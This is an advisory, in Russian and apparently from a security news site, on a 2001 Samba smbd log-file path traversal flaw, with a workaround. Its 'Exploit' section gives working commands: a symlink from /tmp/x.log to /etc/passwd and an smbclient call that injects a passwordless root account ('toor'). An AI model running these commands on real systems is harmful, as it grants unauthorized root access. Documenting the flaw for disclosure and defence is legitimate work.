Security Lab

Проблемы с лог файлами в SMBD 2.0.7-2.0.8

Дата публикации:25.06.2001
Дата изменения:17.10.2006
Всего просмотров:1725
Опасность:
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Описание:

Недостаточная проверка правильности параметра и опасная конфигурация, используемая по умолчанию, делают многочисленные системы, использующие Samba совместно с file sharing, уязвимыми для удаленных атак. Из-за недостаточной проверки правильности NetBIOS имени компьютера в входящих SMB запросах, вместе с заданной по умолчанию конфигурацией, самба daemon позволяет отдаленным нападавшим создавать SMB журналы сеанса (*.log), с содержанием указывающим на директории более высокого уровня. На уязвимой платформе, по умолчанию, каждая SMB сессия создает лог файл:

/var/log/samba/<netbios-name>.log. Если атакующий заходит с компьютера 'FOOBAR', логи будут записываться в /var/log/foobar.log. Теперь, если netbios имя атакующего будет ../../../evil, то система также создаст /evil.log файл. Эту уязвимость возможно использовать при условии, если следующие установки присутствуют в файле smb.conf :



log file = /var/log/samba/%m.log

которая является по умолчанию в большинстве LINUX платформ. Но на некоторых системах конфигурация может быть такой:

log file = /usr/local/samba/var/log.%m

В этом случае (например FreeBSD), нельзя использовать эту уязвимость.



Exploit:

Это пример сценария локальной атаки для получения повышенных привилегий:

ln -s /etc/passwd /tmp/x.log



$ smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" \

-n ../../../tmp/x -N

Где NIMUE – соответствует имени локального хоста ( при этом могут быть возвращены несколько ошибок).

$ su toor
#

Использовать эту атаку довольно просто: - Samba daemon пробует обращаться к Лог файлам для хоста, представляющегося себя как ' ../../../tmp/x '. Это транслирует open() на /var/log/samba/../../../tmp/x.log. Таким образом,/tmp/x.log открыт в режиме O_APPEND, после предварительно созданного символьного линка на /etc/passwd. Тогда, анонимная попытка устанавливать несуществующий share named \ntoor:: 0:0::/:/bin/sh\n " зарегистрированный в/tmp/x.log или, если Вы предпочитаете, в/etc/passwd.

Сообщение об ошибках смотрит этот путь:

[2001/06/22 14:53:03, 1] smbd/reply.c:reply_sesssetup_and_X (925)

Rejecting user 'lcamtuf': authentication failed

[2001/06/22 14:53:03, 0] smbd/service.c:make_connection(214)

../../../tmp/x (192.233.133.108) couldn't find service

toor::0:0::/:/bin/sh

последняя строка, очевидно, разрешает /bin/su или /bin/login.



В качестве временного решения следует изменить формат Лог файлов и дождаться официального патча:

http://us1.samba.org/samba/whatsnew/macroexploit.html